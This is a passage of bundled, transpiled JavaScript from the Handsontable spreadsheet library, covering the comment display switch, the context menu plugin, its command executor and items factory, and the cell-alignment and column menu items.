DisplaySwitch = /*#__PURE__*/ function () { function DisplaySwitch(displayDelay) { _classCallCheck(this, DisplaySwitch); /** * Flag to determine if comment can be showed or hidden. State `true` mean that last performed action * was an attempt to show comment element. State `false` mean that it was attempt to hide comment element. * * @type {Boolean} */ this.wasLastActionShow = true; /** * Show comment after predefined delay. It keeps reference to immutable `debounce` function. * * @type {Function} */ this.showDebounced = null; /** * Reference to timer, run by `setTimeout`, which is hiding comment * * @type {Number} */ this.hidingTimer = null; this.updateDelay(displayDelay); } /** * Responsible for hiding comment after proper delay. */ _createClass(DisplaySwitch, [{ key: "hide", value: function hide() { var _this = this; this.wasLastActionShow = false; this.hidingTimer = setTimeout(function () { if (_this.wasLastActionShow === false) { _this.runLocalHooks('hide'); } }, DEFAULT_HIDE_DELAY); } /** * Responsible for showing comment after proper delay. * * @param {Object} range Coordinates of selected cell. */ }, { key: "show", value: function show(range) { this.wasLastActionShow = true; this.showDebounced(range); } /** * Cancel hiding comment. */ }, { key: "cancelHiding", value: function cancelHiding() { this.wasLastActionShow = true; clearTimeout(this.hidingTimer); this.hidingTimer = null; } /** * Update the switch settings. * * @param {Number} displayDelay Delay of showing the comments (in milliseconds). */ }, { key: "updateDelay", value: function updateDelay() { var _this2 = this; var displayDelay = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : DEFAULT_DISPLAY_DELAY; this.showDebounced = (0, _function.debounce)(function (range) { if (_this2.wasLastActionShow) { _this2.runLocalHooks('show', range.from.row, range.from.col); } }, displayDelay); } /** * Destroy the switcher. */ }, { key: "destroy", value: function destroy() { this.clearLocalHooks(); } }]); return DisplaySwitch; }(); (0, _object.mixin)(DisplaySwitch, _localHooks.default); var _default = DisplaySwitch; exports.default = _default; /***/ }), /* 685 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 686 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _array = __webpack_require__(3); var _commandExecutor = _interopRequireDefault(__webpack_require__(687)); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _itemsFactory = _interopRequireDefault(__webpack_require__(688)); var _menu = _interopRequireDefault(__webpack_require__(700)); var _plugins = __webpack_require__(13); var _event = __webpack_require__(18); var _element = __webpack_require__(1); var _predefinedItems = __webpack_require__(127); __webpack_require__(702); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } _pluginHooks.default.getSingleton().register('afterContextMenuDefaultOptions'); _pluginHooks.default.getSingleton().register('beforeContextMenuShow'); _pluginHooks.default.getSingleton().register('afterContextMenuShow'); _pluginHooks.default.getSingleton().register('afterContextMenuHide'); _pluginHooks.default.getSingleton().register('afterContextMenuExecute'); /** * @description * This plugin creates the Handsontable Context Menu. It allows to create a new row or column at any place in the * grid among [other features](http://docs.handsontable.com/demo-context-menu.html). * Possible values: * * `true` (to enable default options), * * `false` (to disable completely) * * or array of any available strings: * * `'row_above'` * * `'row_below'` * * `'col_left'` * * `'col_right'` * * `'remove_row'` * * `'remove_col'` * * `'undo'` * * `'redo'` * * `'make_read_only'` * * `'alignment'` * * `'---------'` (menu item separator) * * `'borders'` (with {@link Options#customBorders} turned on) * * `'commentsAddEdit'` (with {@link Options#comments} turned on) * * `'commentsRemove'` (with {@link Options#comments} turned on) * * See [the context menu demo](http://docs.handsontable.com/demo-context-menu.html) for examples. * * @example * ```js * // as a boolean * contextMenu: true * // as a array * contextMenu: ['row_above', 'row_below', '---------', 'undo', 'redo'] * ``` * * @plugin ContextMenu */ var ContextMenu = /*#__PURE__*/ function (_BasePlugin) { _inherits(ContextMenu, _BasePlugin); _createClass(ContextMenu, null, [{ key: "DEFAULT_ITEMS", /** * Context menu default items order when `contextMenu` options is set as `true`. * * @returns {String[]} */ get: function get() { return [_predefinedItems.ROW_ABOVE, _predefinedItems.ROW_BELOW, _predefinedItems.SEPARATOR, _predefinedItems.COLUMN_LEFT, _predefinedItems.COLUMN_RIGHT, _predefinedItems.SEPARATOR, _predefinedItems.REMOVE_ROW, _predefinedItems.REMOVE_COLUMN, _predefinedItems.SEPARATOR, _predefinedItems.UNDO, _predefinedItems.REDO, _predefinedItems.SEPARATOR, _predefinedItems.READ_ONLY, _predefinedItems.SEPARATOR, _predefinedItems.ALIGNMENT]; } }]); function ContextMenu(hotInstance) { var _this; _classCallCheck(this, ContextMenu); _this = _possibleConstructorReturn(this, _getPrototypeOf(ContextMenu).call(this, hotInstance)); /** * Instance of {@link EventManager}. * * @private * @type {EventManager} */ _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Instance of {@link CommandExecutor}. * * @private * @type {CommandExecutor} */ _this.commandExecutor = new _commandExecutor.default(_this.hot); /** * Instance of {@link ItemsFactory}. * * @private * @type {ItemsFactory} */ _this.itemsFactory = null; /** * Instance of {@link Menu}. * * @private * @type {Menu} */ _this.menu = null; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ContextMenu#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ContextMenu, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().contextMenu; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.itemsFactory = new _itemsFactory.default(this.hot, ContextMenu.DEFAULT_ITEMS); var settings = this.hot.getSettings().contextMenu; var predefinedItems = { items: this.itemsFactory.getItems(settings) }; if (typeof settings.callback === 'function') { this.commandExecutor.setCommonCallback(settings.callback); } _get(_getPrototypeOf(ContextMenu.prototype), "enablePlugin", this).call(this); var delayedInitialization = function delayedInitialization() { if (!_this2.hot) { return; } _this2.hot.runHooks('afterContextMenuDefaultOptions', predefinedItems); _this2.itemsFactory.setPredefinedItems(predefinedItems.items); var menuItems = _this2.itemsFactory.getItems(settings); _this2.menu = new _menu.default(_this2.hot, { className: 'htContextMenu', keepInViewport: true }); _this2.hot.runHooks('beforeContextMenuSetItems', menuItems); _this2.menu.setMenuItems(menuItems); _this2.menu.addLocalHook('beforeOpen', function () { return _this2.onMenuBeforeOpen(); }); _this2.menu.addLocalHook('afterOpen', function () { return _this2.onMenuAfterOpen(); }); _this2.menu.addLocalHook('afterClose', function () { return _this2.onMenuAfterClose(); }); _this2.menu.addLocalHook('executeCommand', function () { var _this2$executeCommand; for (var _len = arguments.length, params = new Array(_len), _key = 0; _key < _len; _key++) { params[_key] = arguments[_key]; } return (_this2$executeCommand = _this2.executeCommand).call.apply(_this2$executeCommand, [_this2].concat(params)); }); _this2.addHook('afterOnCellContextMenu', function (event) { return _this2.onAfterOnCellContextMenu(event); }); // Register all commands. Predefined and added by user or by plugins (0, _array.arrayEach)(menuItems, function (command) { return _this2.commandExecutor.registerCommand(command.key, command); }); }; this.callOnPluginsReady(function () { if (_this2.isPluginsReady) { setTimeout(delayedInitialization, 0); } else { delayedInitialization(); } }); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(ContextMenu.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { this.close(); if (this.menu) { this.menu.destroy(); this.menu = null; } _get(_getPrototypeOf(ContextMenu.prototype), "disablePlugin", this).call(this); } /** * Opens menu and re-position it based on the passed coordinates. * * @param {Object|Event} position An object with `pageX` and `pageY` properties which contains values relative to * the top left of the fully rendered content area in the browser or with `clientX` * and `clientY` properties which contains values relative to the upper left edge * of the content area (the viewport) of the browser window. This object is structurally * compatible with native mouse event so it can be used either. */ }, { key: "open", value: function open(event) { if (!this.menu) { return; } this.menu.open(); this.menu.setPosition({ top: parseInt((0, _event.pageY)(event), 10) - (0, _element.getWindowScrollTop)(), left: parseInt((0, _event.pageX)(event), 10) - (0, _element.getWindowScrollLeft)() }); // ContextMenu is not detected HotTableEnv correctly because is injected outside hot-table this.menu.hotMenu.isHotTableEnv = this.hot.isHotTableEnv; // Handsontable.eventManager.isHotTableEnv = this.hot.isHotTableEnv; } /** * Closes the menu. */ }, { key: "close", value: function close() { if (!this.menu) { return; } this.menu.close(); } /** * Execute context menu command. * * You can execute all predefined commands: * * `'row_above'` - Insert row above * * `'row_below'` - Insert row below * * `'col_left'` - Insert column left * * `'col_right'` - Insert column right * * `'clear_column'` - Clear selected column * * `'remove_row'` - Remove row * * `'remove_col'` - Remove column * * `'undo'` - Undo last action * * `'redo'` - Redo last action * * `'make_read_only'` - Make cell read only * * `'alignment:left'` - Alignment to the left * * `'alignment:top'` - Alignment to the top * * `'alignment:right'` - Alignment to the right * * `'alignment:bottom'` - Alignment to the bottom * * `'alignment:middle'` - Alignment to the middle * * `'alignment:center'` - Alignment to the center (justify) * * Or you can execute command registered in settings where `key` is your command name. * * @param {String} commandName The command name to be executed. * @param {...*} params */ }, { key: "executeCommand", value: function executeCommand(commandName) { var _this$commandExecutor; for (var _len2 = arguments.length, params = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) { params[_key2 - 1] = arguments[_key2]; } (_this$commandExecutor = this.commandExecutor).execute.apply(_this$commandExecutor, [commandName].concat(params)); } /** * On contextmenu listener. * * @private * @param {Event} event */ }, { key: "onAfterOnCellContextMenu", value: function onAfterOnCellContextMenu(event) { var settings = this.hot.getSettings(); var showRowHeaders = settings.rowHeaders; var showColHeaders = settings.colHeaders; function isValidElement(element) { return element.nodeName === 'TD' || element.parentNode.nodeName === 'TD'; } // if event is from hot-table we must get web component element not element inside him var element = event.realTarget; this.close(); if ((0, _element.hasClass)(element, 'handsontableInput')) { return; } event.preventDefault(); (0, _event.stopPropagation)(event); if (!(showRowHeaders || showColHeaders)) { if (!isValidElement(element) && !((0, _element.hasClass)(element, 'current') && (0, _element.hasClass)(element, 'wtBorder'))) { return; } } this.open(event); } /** * On menu before open listener. * * @private */ }, { key: "onMenuBeforeOpen", value: function onMenuBeforeOpen() { this.hot.runHooks('beforeContextMenuShow', this); } /** * On menu after open listener. * * @private */ }, { key: "onMenuAfterOpen", value: function onMenuAfterOpen() { this.hot.runHooks('afterContextMenuShow', this); } /** * On menu after close listener. * * @private */ }, { key: "onMenuAfterClose", value: function onMenuAfterClose() { this.hot.listen(); this.hot.runHooks('afterContextMenuHide', this); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { this.close(); if (this.menu) { this.menu.destroy(); } _get(_getPrototypeOf(ContextMenu.prototype), "destroy", this).call(this); } }]); return ContextMenu; }(_base.default); ContextMenu.SEPARATOR = { name: _predefinedItems.SEPARATOR }; (0, _plugins.registerPlugin)('contextMenu', ContextMenu); var _default = ContextMenu; exports.default = _default; /***/ }), /* 687 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _array = __webpack_require__(3); var _object = __webpack_require__(2); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Command executor for ContextMenu. * * @class CommandExecutor * @plugin ContextMenu */ var CommandExecutor = /*#__PURE__*/ function () { function CommandExecutor(hotInstance) { _classCallCheck(this, CommandExecutor); this.hot = hotInstance; this.commands = {}; this.commonCallback = null; } /** * Register command. * * @param {String} name Command name. * @param {Object} commandDescriptor Command descriptor object with properties like `key` (command id), * `callback` (task to execute), `name` (command name), `disabled` (command availability). */ _createClass(CommandExecutor, [{ key: "registerCommand", value: function registerCommand(name, commandDescriptor) { this.commands[name] = commandDescriptor; } /** * Set common callback which will be trigger on every executed command. * * @param {Function} callback Function which will be fired on every command execute. */ }, { key: "setCommonCallback", value: function setCommonCallback(callback) { this.commonCallback = callback; } /** * Execute command by its name. * * @param {String} commandName Command id. * @param {*} params Arguments passed to command task. */ }, { key: "execute", value: function execute(commandName) { var _this = this; for (var _len = arguments.length, params = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { params[_key - 1] = arguments[_key]; } var commandSplit = commandName.split(':'); var commandNamePrimary = commandSplit[0]; var subCommandName = commandSplit.length === 2 ? commandSplit[1] : null; var command = this.commands[commandNamePrimary]; if (!command) { throw new Error("Menu command '".concat(commandNamePrimary, "' not exists.")); } if (subCommandName && command.submenu) { command = findSubCommand(subCommandName, command.submenu.items); } if (command.disabled === true) { return; } if (typeof command.disabled === 'function' && command.disabled.call(this.hot) === true) { return; } if ((0, _object.hasOwnProperty)(command, 'submenu')) { return; } var callbacks = []; if (typeof command.callback === 'function') { callbacks.push(command.callback); } if (typeof this.commonCallback === 'function') { callbacks.push(this.commonCallback); } params.unshift(commandSplit.join(':')); (0, _array.arrayEach)(callbacks, function (callback) { return callback.apply(_this.hot, params); }); } }]); return CommandExecutor; }(); function findSubCommand(subCommandName, subCommands) { var command; (0, _array.arrayEach)(subCommands, function (cmd) { var cmds = cmd.key ? cmd.key.split(':') : null; if (Array.isArray(cmds) && cmds[1] === subCommandName) { command = cmd; return false; } }); return command; } var _default = CommandExecutor; exports.default = _default; /***/ }), /* 688 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _predefinedItems = __webpack_require__(127); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Predefined items class factory for menu items. * * @class ItemsFactory * @plugin ContextMenu */ var ItemsFactory = /*#__PURE__*/ function () { function ItemsFactory(hotInstance) { var orderPattern = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; _classCallCheck(this, ItemsFactory); this.hot = hotInstance; this.predefinedItems = (0, _predefinedItems.predefinedItems)(); this.defaultOrderPattern = orderPattern; } /** * Set predefined items. * * @param {Array} predefinedItemsCollection Array of predefined items. */ _createClass(ItemsFactory, [{ key: "setPredefinedItems", value: function setPredefinedItems(predefinedItemsCollection) { var _this = this; var items = {}; this.defaultOrderPattern.length = 0; (0, _object.objectEach)(predefinedItemsCollection, function (value, key) { var menuItemKey = ''; if (value.name === _predefinedItems.SEPARATOR) { items[_predefinedItems.SEPARATOR] = value; menuItemKey = _predefinedItems.SEPARATOR; // Menu item added as a property to array } else if (isNaN(parseInt(key, 10))) { value.key = value.key === void 0 ? key : value.key; items[key] = value; menuItemKey = value.key; } else { items[value.key] = value; menuItemKey = value.key; } _this.defaultOrderPattern.push(menuItemKey); }); this.predefinedItems = items; } /** * Get all menu items based on pattern. * * @param {Array|Object|Boolean} pattern Pattern which you can define by displaying menu items order. If `true` default * pattern will be used. * @returns {Array} */ }, { key: "getItems", value: function getItems() { var pattern = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; return _getItems(pattern, this.defaultOrderPattern, this.predefinedItems); } }]); return ItemsFactory; }(); function _getItems() { var itemsPattern = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var defaultPattern = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; var items = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; var result = []; var pattern = itemsPattern; if (pattern && pattern.items) { pattern = pattern.items; } else if (!Array.isArray(pattern)) { pattern = defaultPattern; } if ((0, _object.isObject)(pattern)) { (0, _object.objectEach)(pattern, function (value, key) { var item = items[typeof value === 'string' ? value : key]; if (!item) { item = value; } if ((0, _object.isObject)(value)) { (0, _object.extend)(item, value); } else if (typeof item === 'string') { item = { name: item }; } if (item.key === void 0) { item.key = key; } result.push(item); }); } else { (0, _array.arrayEach)(pattern, function (name, key) { var item = items[name]; // Item deleted from settings `allowInsertRow: false` etc. if (!item && _predefinedItems.ITEMS.indexOf(name) >= 0) { return; } if (!item) { item = { name: name, key: "".concat(key) }; } if ((0, _object.isObject)(name)) { (0, _object.extend)(item, name); } if (item.key === void 0) { item.key = key; } result.push(item); }); } return result; } var _default = ItemsFactory; exports.default = _default; /***/ }), /* 689 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = alignmentItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var _separator = __webpack_require__(126); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } var KEY = 'alignment'; exports.KEY = KEY; function alignmentItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT); }, disabled: function disabled() { return !(this.getSelectedRange() && !this.selection.isSelectedByCorner()); }, submenu: { items: [{ key: "".concat(KEY, ":left"), name: function name() { var _this = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_LEFT); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this.getCellMeta(row, col).className; if (className && className.indexOf('htLeft') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this2 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this2.getCellMeta(row, col).className; }); var type = 'horizontal'; var alignment = 'htLeft'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this2.getCellMeta(row, col); }, function (row, col, key, value) { return _this2.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }, { key: "".concat(KEY, ":center"), name: function name() { var _this3 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_CENTER); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this3.getCellMeta(row, col).className; if (className && className.indexOf('htCenter') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this4 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this4.getCellMeta(row, col).className; }); var type = 'horizontal'; var alignment = 'htCenter'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this4.getCellMeta(row, col); }, function (row, col, key, value) { return _this4.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }, { key: "".concat(KEY, ":right"), name: function name() { var _this5 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_RIGHT); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this5.getCellMeta(row, col).className; if (className && className.indexOf('htRight') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this6 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this6.getCellMeta(row, col).className; }); var type = 'horizontal'; var alignment = 'htRight'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this6.getCellMeta(row, col); }, function (row, col, key, value) { return _this6.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }, { key: "".concat(KEY, ":justify"), name: function name() { var _this7 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_JUSTIFY); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this7.getCellMeta(row, col).className; if (className && className.indexOf('htJustify') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this8 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this8.getCellMeta(row, col).className; }); var type = 'horizontal'; var alignment = 'htJustify'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this8.getCellMeta(row, col); }, function (row, col, key, value) { return _this8.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }, { name: _separator.KEY }, { key: "".concat(KEY, ":top"), name: function name() { var _this9 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_TOP); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this9.getCellMeta(row, col).className; if (className && className.indexOf('htTop') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this10 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this10.getCellMeta(row, col).className; }); var type = 'vertical'; var alignment = 'htTop'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this10.getCellMeta(row, col); }, function (row, col, key, value) { return _this10.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }, { key: "".concat(KEY, ":middle"), name: function name() { var _this11 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_MIDDLE); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this11.getCellMeta(row, col).className; if (className && className.indexOf('htMiddle') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this12 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this12.getCellMeta(row, col).className; }); var type = 'vertical'; var alignment = 'htMiddle'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this12.getCellMeta(row, col); }, function (row, col, key, value) { return _this12.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }, { key: "".concat(KEY, ":bottom"), name: function name() { var _this13 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ALIGNMENT_BOTTOM); var hasClass = (0, _utils.checkSelectionConsistency)(this.getSelectedRange(), function (row, col) { var className = _this13.getCellMeta(row, col).className; if (className && className.indexOf('htBottom') !== -1) { return true; } }); if (hasClass) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { var _this14 = this; var selectedRange = this.getSelectedRange(); var stateBefore = (0, _utils.getAlignmentClasses)(selectedRange, function (row, col) { return _this14.getCellMeta(row, col).className; }); var type = 'vertical'; var alignment = 'htBottom'; this.runHooks('beforeCellAlignment', stateBefore, selectedRange, type, alignment); (0, _utils.align)(selectedRange, type, alignment, function (row, col) { return _this14.getCellMeta(row, col); }, function (row, col, key, value) { return _this14.setCellMeta(row, col, key, value); }); this.render(); }, disabled: false }] } }; } /***/ }), /* 690 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = clearColumnItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } var KEY = 'clear_column'; exports.KEY = KEY; function clearColumnItem() { return { key: KEY, name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_CLEAR_COLUMN); }, callback: function callback(key, selection) { var column = selection[0].start.col; if (this.countRows()) { this.populateFromArray(0, column, [[null]], Math.max(selection[0].start.row, selection[0].end.row), column, 'ContextMenu.clearColumn'); } }, disabled: function disabled() { var selected = (0, _utils.getValidSelection)(this); if (!selected) { return true; } var _selected$ = _slicedToArray(selected[0], 3), startRow = _selected$[0], startColumn = _selected$[1], endRow = _selected$[2]; var entireRowSelection = [startRow, 0, endRow, this.countCols() - 1]; var rowSelected = entireRowSelection.join(',') === selected.join(','); return startColumn < 0 || this.countCols() >= this.getSettings().maxCols || rowSelected; } }; } /***/ }), /* 691 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = columnLeftItem; exports.KEY = void 0; var _utils = __webpack_require__(30); var C = _interopRequireWildcard(__webpack_require__(11)); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } var KEY = 'col_left'; exports.KEY = KEY; function columnLeftItem() { return { key: KEY, name: function name() { return 